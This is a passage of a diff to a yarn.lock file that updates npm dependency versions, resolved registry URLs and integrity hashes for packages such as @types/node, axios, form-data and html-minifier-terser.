-  resolved "https://registry.yarnpkg.com/@types/jsonwebtoken/-/jsonwebtoken-9.0.9.tgz#a4c3a446c0ebaaf467a58398382616f416345fb3"
-  integrity sha512-uoe+GxEuHbvy12OUQct2X9JenKM3qAscquYymuQN4fMWG9DBQtykrQEFcAbVACF7qaLw9BePSodUL0kquqBJpQ==
+  version "9.0.10"
+  resolved "https://registry.yarnpkg.com/@types/jsonwebtoken/-/jsonwebtoken-9.0.10.tgz#a7932a47177dcd4283b6146f3bd5c26d82647f09"
+  integrity sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==
   dependencies:
     "@types/ms" "*"
     "@types/node" "*"
@@ -1683,18 +1710,25 @@
   resolved "https://registry.yarnpkg.com/@types/ms/-/ms-2.1.0.tgz#052aa67a48eccc4309d7f0191b7e41434b90bb78"
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
-"@types/node@*", "@types/node@>=13.7.0", "@types/node@^22.0.1", "@types/node@^22.5.4":
-  version "22.15.24"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.15.24.tgz#3b31f1650571c0123388db29d95c12e6f6761744"
-  integrity sha512-w9CZGm9RDjzTh/D+hFwlBJ3ziUaVw7oufKA3vOFSOZlzmW9AkZnfjPb+DLnrV6qtgL/LNmP0/2zBNCFHL3F0ng==
+"@types/node@*", "@types/node@>=13.7.0":
+  version "24.0.10"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-24.0.10.tgz#f65a169779bf0d70203183a1890be7bee8ca2ddb"
+  integrity sha512-ENHwaH+JIRTDIEEbDK6QSQntAYGtbvdDXnMXnZaZ6k13Du1dPMmprkEHIL7ok2Wl2aZevetwTAb5S+7yIF+enA==
   dependencies:
-    undici-types "~6.21.0"
+    undici-types "~7.8.0"
 
 "@types/node@^14.14.14":
   version "14.18.63"
   resolved "https://registry.yarnpkg.com/@types/node/-/node-14.18.63.tgz#1788fa8da838dbb5f9ea994b834278205db6ca2b"
   integrity sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==
 
+"@types/node@^22.0.1", "@types/node@^22.5.4":
+  version "22.16.0"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.16.0.tgz#352bc4951fd089df32f2b6412a61d339b67ded8b"
+  integrity sha512-B2egV9wALML1JCpv3VQoQ+yesQKAmNMBIAY7OteVrikcOcAkWm+dGL6qpeCktPjAv6N1JLnhbNiqS35UpFyBsQ==
+  dependencies:
+    undici-types "~6.21.0"
+
 "@types/qs@*":
   version "6.14.0"
   resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.14.0.tgz#d8b60cecf62f2db0fb68e5e006077b9178b85de5"
@@ -1716,17 +1750,17 @@
     form-data "^2.5.0"
 
 "@types/send@*":
-  version "0.17.4"
-  resolved "https://registry.yarnpkg.com/@types/send/-/send-0.17.4.tgz#6619cd24e7270793702e4e6a4b958a9010cfc57a"
-  integrity sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==
+  version "0.17.5"
+  resolved "https://registry.yarnpkg.com/@types/send/-/send-0.17.5.tgz#d991d4f2b16f2b1ef497131f00a9114290791e74"
+  integrity sha512-z6F2D3cOStZvuk2SaP6YrwkNO65iTZcwA2ZkSABegdkAh/lf+Aa/YQndZVfmEXT5vgAp6zv06VQ3ejSVjAny4w==
   dependencies:
     "@types/mime" "^1"
     "@types/node" "*"
 
 "@types/serve-static@*":
-  version "1.15.7"
-  resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.15.7.tgz#22174bbd74fb97fe303109738e9b5c2f3064f714"
-  integrity sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==
+  version "1.15.8"
+  resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.15.8.tgz#8180c3fbe4a70e8f00b9f70b9ba7f08f35987877"
+  integrity sha512-roei0UY3LhpOJvjbIP6ZZFngyLKl5dskOtDhxY5THRSpO+ZI+nzJ+m5yUMzGrp89YRa7lvknKkMYjqQFGwA7Sg==
   dependencies:
     "@types/http-errors" "*"
     "@types/node" "*"
@@ -1916,9 +1950,9 @@
     sasl-scram-sha-1 "^1.3.0"
 
 "@xmpp/sasl@^0.13.1":
-  version "0.13.4"
-  resolved "https://registry.yarnpkg.com/@xmpp/sasl/-/sasl-0.13.4.tgz#fa0873a7a2b534db7c55c3ee258b96ee357e9a4d"
-  integrity sha512-craijUkSSrYB43YgqHRigVe8JYFLTBdC1eiIlQRAhN37QMTCb0zz3AAgcoxYccrZDStHXNC7WMi149A4AKp6RA==
+  version "0.13.6"
+  resolved "https://registry.yarnpkg.com/@xmpp/sasl/-/sasl-0.13.6.tgz#b6a1948ae56db5cea6aee362c6ddd63d5d6ea6e1"
+  integrity sha512-0WueO7QlHK1F0K7iaC/zW60Y6NIjOccHZlb1WRS1jdHmHqwTLWM8AQTAZMvtxWLDz8oUDiVUKEOJTdIvy9bXow==
   dependencies:
     "@xmpp/base64" "^0.13.2"
     "@xmpp/error" "^0.13.2"
@@ -2045,6 +2079,11 @@ acme-client@4.2.5:
     debug "^4.1.1"
     node-forge "^1.3.0"
 
+acorn@^8.14.0:
+  version "8.15.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.15.0.tgz#a360898bc415edaac46c8241f6383975b930b816"
+  integrity sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==
+
 aedes-packet@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/aedes-packet/-/aedes-packet-1.0.0.tgz#2eea46f97c925b0a1f4d03f4f1fe5ef887b100f1"
@@ -2403,18 +2442,10 @@ axios@^0.21.1:
   dependencies:
     follow-redirects "^1.14.0"
 
-axios@^0.27.2:
-  version "0.27.2"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-0.27.2.tgz#207658cc8621606e586c85db4b41a750e756d972"
-  integrity sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==
-  dependencies:
-    follow-redirects "^1.14.9"
-    form-data "^4.0.0"
-
 axios@^1.2.2, axios@^1.8.2:
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-1.9.0.tgz#25534e3b72b54540077d33046f77e3b8d7081901"
-  integrity sha512-re4CqKTJaURpzbLHtIi6XpDv20/CnpXOtjRY5/CU32L8gU8ek9UIivcfvSWvmKEngmVbrUtPpdDwWDWL7DNHvg==
+  version "1.10.0"
+  resolved "https://registry.yarnpkg.com/axios/-/axios-1.10.0.tgz#af320aee8632eaf2a400b6a1979fa75856f38d54"
+  integrity sha512-/1xYAC4MP/HEG+3duIhFr4ZQXR4sQXOIe+o6sdqzeykGLx6Upp/1p8MHqhINOvGeP7xyNHe7tsiJByc4SSVUxw==
   dependencies:
     follow-redirects "^1.15.6"
     form-data "^4.0.0"
@@ -2601,17 +2632,17 @@ bowser@^2.11.0:
   integrity sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA==
 
 brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  version "1.1.12"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.12.tgz#ab9b454466e5a8cc3a187beaad580412a9c5b843"
+  integrity sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==
   dependencies:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
 brace-expansion@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
-  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
+  integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
   dependencies:
     balanced-match "^1.0.0"
 
@@ -2628,12 +2659,12 @@ browser-or-node@^2.1.1:
   integrity sha512-8CVjaLJGuSKMVTxJ2DpBl5XnlNDiT4cQFeuCJJrvJmts9YrTZDizTX7PjC2s6W4x+MBGZeEY6dGMrF04/6Hgqg==
 
 browserslist@^4.24.0:
-  version "4.25.0"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.0.tgz#986aa9c6d87916885da2b50d8eb577ac8d133b2c"
-  integrity sha512-PJ8gYKeS5e/whHBh8xrwYK+dAvEj7JXtz6uTucnMRB8OiGTsKccFekoRrjajPBHV8oOY+2tI4uxeceSimKwMFA==
+  version "4.25.1"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.1.tgz#ba9e8e6f298a1d86f829c9b975e07948967bb111"
+  integrity sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==
   dependencies:
-    caniuse-lite "^1.0.30001718"
-    electron-to-chromium "^1.5.160"
+    caniuse-lite "^1.0.30001726"
+    electron-to-chromium "^1.5.173"
     node-releases "^2.0.19"
     update-browserslist-db "^1.1.3"
 
@@ -2780,23 +2811,23 @@ call-bound@^1.0.2, call-bound@^1.0.3, call-bound@^1.0.4:
     call-bind-apply-helpers "^1.0.2"
     get-intrinsic "^1.3.0"
 
-camel-case@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-3.0.0.tgz#ca3c3688a4e9cf3a4cda777dc4dcbc713249cf73"
-  integrity sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==
+camel-case@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
+  integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==
   dependencies:
-    no-case "^2.2.0"
-    upper-case "^1.1.1"
+    pascal-case "^3.1.2"
+    tslib "^2.0.3"
 
 camelcase@^5.0.0:
   version "5.3.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
   integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
 
-caniuse-lite@^1.0.30001718:
-  version "1.0.30001720"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001720.tgz#c138cb6026d362be9d8d7b0e4bcd0183a850edfd"
-  integrity sha512-Ec/2yV2nNPwb4DnTANEV99ZWwm3ZWfdlfkQbWSDDt+PsXEVYwlhPH8tdMaPunYTKKmz7AnHi2oNEi1GcmKCD8g==
+caniuse-lite@^1.0.30001726:
+  version "1.0.30001726"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001726.tgz#a15bd87d5a4bf01f6b6f70ae7c97fdfd28b5ae47"
+  integrity sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw==
 
 caseless@~0.12.0:
   version "0.12.0"
@@ -2860,10 +2891,10 @@ cipher-base@^1.0.1, cipher-base@^1.0.3:
     inherits "^2.0.4"
     safe-buffer "^5.2.1"
 
-clean-css@^4.2.1:
-  version "4.2.4"
-  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.4.tgz#733bf46eba4e607c6891ea57c24a989356831178"
-  integrity sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==
+clean-css@~5.3.2:
+  version "5.3.3"
+  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-5.3.3.tgz#b330653cd3bd6b75009cc25c714cae7b93351ccd"
+  integrity sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==
   dependencies:
     source-map "~0.6.0"
 
@@ -2983,7 +3014,12 @@ combined-stream@~0.0.4:
   dependencies:
     delayed-stream "0.0.5"
 
-commander@^2.19.0:
+commander@^10.0.0:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-10.0.1.tgz#881ee46b4f77d1c1dccc5823433aa39b022cbe06"
+  integrity sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==
+
+commander@^2.20.0:
   version "2.20.3"
   resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
   integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
@@ -3105,9 +3141,9 @@ core-js@^2.4.0:
   integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
 
 core-js@^3.30.2:
-  version "3.42.0"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.42.0.tgz#edbe91f78ac8cfb6df8d997e74d368a68082fe37"
-  integrity sha512-Sz4PP4ZA+Rq4II21qkNqOEDTDrCvcANId3xpIgB34NDkWc3UduWj2dqEtN9yZIq8Dk3HyPI33x9sqqU5C8sr0g==
+  version "3.43.0"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.43.0.tgz#f7258b156523208167df35dea0cfd6b6ecd4ee88"
+  integrity sha512-N6wEbTTZSYOY2rYAn85CuvWWkCK6QweMn7/4Nr3w+gDBeBhk/x4EJeY6FPo4QzDoJZxVTv8U7CMvgWk6pOHHqA==
 
 core-util-is@1.0.2:
   version "1.0.2"
@@ -3405,9 +3441,9 @@ discord-api-types@^0.37.12, discord-api-types@^0.37.41:
   integrity sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==
 
 discord-api-types@^0.38.1:
-  version "0.38.8"
-  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.8.tgz#ad69f82c85a510c5778ca152dfa9a91b9e43d8a6"
-  integrity sha512-xuRXPD44FcbKHrQK15FS1HFlMRNJtsaZou/SVws18vQ7zHqmlxyDktMkZpyvD6gE2ctGOVYC/jUyoMMAyBWfcw==
+  version "0.38.15"
+  resolved "https://registry.yarnpkg.com/discord-api-types/-/discord-api-types-0.38.15.tgz#5c5e14c7049fa974096cb8172d0ec29dc5f880a6"
+  integrity sha512-RX3skyRH7p6BlHOW62ztdnIc87+wv4TEJEURMir5k5BbRJ10wK1MCqFEO6USHTol3gkiHLE6wWoHhNQ2pqB4AA==
 
 discord.js@14.6.0:
   version "14.6.0"
@@ -3464,6 +3500,14 @@ domutils@^2.5.2:
     domelementtype "^2.2.0"
     domhandler "^4.2.0"
 
+dot-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
+  integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
 dunder-proto@^1.0.0, dunder-proto@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
@@ -3513,10 +3557,10 @@ ee-first@1.1.1:
   resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
-electron-to-chromium@^1.5.160:
-  version "1.5.161"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.161.tgz#650376bd3be7ff8e581031409fc2d4f150620b12"
-  integrity sha512-hwtetwfKNZo/UlwHIVBlKZVdy7o8bIZxxKs0Mv/ROPiQQQmDgdm5a+KvKtBsxM8ZjFzTaCeLoodZ8jiBE3o9rA==
+electron-to-chromium@^1.5.173:
+  version "1.5.179"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.179.tgz#453d53f360014a2604d40ccd41c4ea0a6e31b99a"
+  integrity sha512-UWKi/EbBopgfFsc5k61wFpV7WrnnSlSzW/e2XcBmS6qKYTivZlLtoll5/rdqRTxGglGHkmkW0j0pFNJG10EUIQ==
 
 emoji-regex@^7.0.1:
   version "7.0.3"
@@ -3556,9 +3600,9 @@ encoding@^0.1.12:
     iconv-lite "^0.6.2"
 
 end-of-stream@^1.1.0, end-of-stream@^1.4.1:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+  version "1.4.5"
+  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.5.tgz#7344d711dea40e0b74abc2ed49778743ccedb08c"
+  integrity sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==
   dependencies:
     once "^1.4.0"
 
@@ -3567,10 +3611,15 @@ entities@^2.0.0:
   resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
   integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
 
+entities@^4.4.0:
+  version "4.5.0"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
+  integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
+
 entities@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-6.0.0.tgz#09c9e29cb79b0a6459a9b9db9efb418ac5bb8e51"
-  integrity sha512-aKstq2TDOndCn4diEyp9Uq/Flu2i1GlLkc6XIDQSDMuaFE3OPW5OphLCyQ5SpSJZTb4reN+kTcYru5yIfXoRPw==
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-6.0.1.tgz#c28c34a43379ca7f61d074130b2f5f7020a30694"
+  integrity sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==
 
 env-paths@^2.2.0:
   version "2.2.1"
@@ -3892,7 +3941,7 @@ fast-xml-parser@4.4.1:
   dependencies:
     strnum "^1.0.5"
 
-fast-xml-parser@^4.2.4, fast-xml-parser@^4.4.1:
+fast-xml-parser@^4.4.1, fast-xml-parser@^4.5.1:
   version "4.5.3"
   resolved "https://registry.yarnpkg.com/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz#c54d6b35aa0f23dc1ea60b6c884340c006dc6efb"
   integrity sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==
@@ -4035,7 +4084,7 @@ fn.name@1.x.x:
   resolved "https://registry.yarnpkg.com/fn.name/-/fn.name-1.1.0.tgz#26cad8017967aea8731bc42961d04a3d5988accc"
   integrity sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==
 
-follow-redirects@^1.14.0, follow-redirects@^1.14.8, follow-redirects@^1.14.9, follow-redirects@^1.15.6:
+follow-redirects@^1.14.0, follow-redirects@^1.14.8, follow-redirects@^1.15.6:
   version "1.15.9"
   resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.9.tgz#a604fa10e443bf98ca94228d9eebcc2e8a2c8ee1"
   integrity sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==
@@ -4085,13 +4134,14 @@ form-data@^2.5.0:
     safe-buffer "^5.2.1"
 
 form-data@^4.0.0:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.2.tgz#35cabbdd30c3ce73deb2c42d3c8d3ed9ca51794c"
-  integrity sha512-hGfm/slu0ZabnNt4oaRZ6uREyfCj6P4fT/n6A1rGV+Z0VdGXjfOhVUpkn6qVQONHGIFwmveGXyDs75+nr6FM8w==
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.3.tgz#608b1b3f3e28be0fccf5901fc85fb3641e5cf0ae"
+  integrity sha512-qsITQPfmvMOSAdeyZ+12I1c+CKSstAFAwu+97zrnWAbIr5u8wfsExUzCesVLC8NgHuRUqNN4Zy6UPWUTRGslcA==
   dependencies:
     asynckit "^0.4.0"
     combined-stream "^1.0.8"
     es-set-tostringtag "^2.1.0"
+    hasown "^2.0.2"
     mime-types "^2.1.12"
 
 form-data@~0.1.0:
@@ -4318,11 +4368,6 @@ glob@^7.1.3, glob@^7.1.4, glob@^7.2.0:
     once "^1.3.0"
     path-is-absolute "^1.0.0"
 
-globals@^11.1.0:
-  version "11.12.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
-  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
-
 globalthis@^1.0.4:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
@@ -4515,11 +4560,6 @@ hawk@~1.0.0:
     hoek "0.9.x"
     sntp "0.2.x"
 
-he@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
-  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
-
 heapdump@0.3.15:
   version "0.3.15"
   resolved "https://registry.yarnpkg.com/heapdump/-/heapdump-0.3.15.tgz#631a8a2585588ea64778d8ec80a64c6c025f6a08"
@@ -4544,10 +4584,10 @@ hosted-git-info@^2.1.4:
   resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
   integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
 
-hot-patcher@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/hot-patcher/-/hot-patcher-1.0.0.tgz#7124d2dc4ca71bcb58b1551603cd13e4fc3fcecd"
-  integrity sha512-3H8VH0PreeNsKMZw16nTHbUp4YoHCnPlawpsPXGJUR4qENDynl79b6Xk9CIFvLcH1qungBsCuzKcWyzoPPalTw==
+hot-patcher@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/hot-patcher/-/hot-patcher-2.0.1.tgz#1473b799a3b756460ef226e10cf2cea4d79b435e"
+  integrity sha512-ECg1JFG0YzehicQaogenlcs2qg6WsXQsxtnbr1i696u5tLUjtJdQAh0u2g0Q5YV45f263Ta1GnUJsc8WIfJf4Q==
 
 html-encoding-sniffer@^3.0.0:
   version "3.0.0"
@@ -4566,18 +4606,18 @@ html-escaper@^2.0.0:
   resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
   integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
 
-html-minifier@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/html-minifier/-/html-minifier-4.0.0.tgz#cca9aad8bce1175e02e17a8c33e46d8988889f56"
-  integrity sha512-aoGxanpFPLg7MkIl/DDFYtb0iWz7jMFGqFhvEDZga6/4QTjneiD8I/NXL1x5aaoCp7FSIT6h/OhykDdPsbtMig==
+html-minifier-terser@7.2.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-7.2.0.tgz#18752e23a2f0ed4b0f550f217bb41693e975b942"
+  integrity sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA==
   dependencies:
-    camel-case "^3.0.0"
-    clean-css "^4.2.1"
-    commander "^2.19.0"
-    he "^1.2.0"
-    param-case "^2.1.1"
+    camel-case "^4.1.2"
+    clean-css "~5.3.2"
+    commander "^10.0.0"
+    entities "^4.4.0"
+    param-case "^3.0.4"
     relateurl "^0.2.7"
-    uglify-js "^3.5.1"
+    terser "^5.15.1"
 
 htmlparser2@^6.1.0:
   version "6.1.0"
@@ -5414,10 +5454,10 @@ kuler@^2.0.0:
   resolved "https://registry.yarnpkg.com/kuler/-/kuler-2.0.0.tgz#e2c570a3800388fb44407e851531c1d670b061b3"
   integrity sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==
 
-layerr@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/layerr/-/layerr-0.1.2.tgz#16c8e7fb042d3595ab15492bdad088f31d7afd15"
-  integrity sha512-ob5kTd9H3S4GOG2nVXyQhOu9O8nBgP555XxWPkJI0tR0JeRilfyTp8WtPdIJHLXBmHMSdEq5+KMxiYABeScsIQ==
+layerr@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/layerr/-/layerr-3.0.0.tgz#bc4e0e5986ffd3ab8c3c88b458f53be8dceea29e"
+  integrity sha512-tv754Ki2dXpPVApOrjTyRo4/QegVb9eVFq4mjqp4+NM5NaX7syQvN5BBNfV/ZpAHCEHV24XdUVrBAoka4jt3pA==
 
 lazystream@^1.0.0:
   version "1.0.1"
@@ -5583,10 +5623,12 @@ lossless-json@2.0.1:
   resolved "https://registry.yarnpkg.com/lossless-json/-/lossless-json-2.0.1.tgz#03f2deb5c1a828feac19d88c16e93d6388971d52"
   integrity sha512-KW/FSL426qblKVvf4ImeMVGr0Je6J9aXvAMUOIU8AzelDj06q47mn6QJ+56lBBd+A8kjrncrxdKQs6ZssAXTmw==
 
-lower-case@^1.1.1:
-  version "1.1.4"
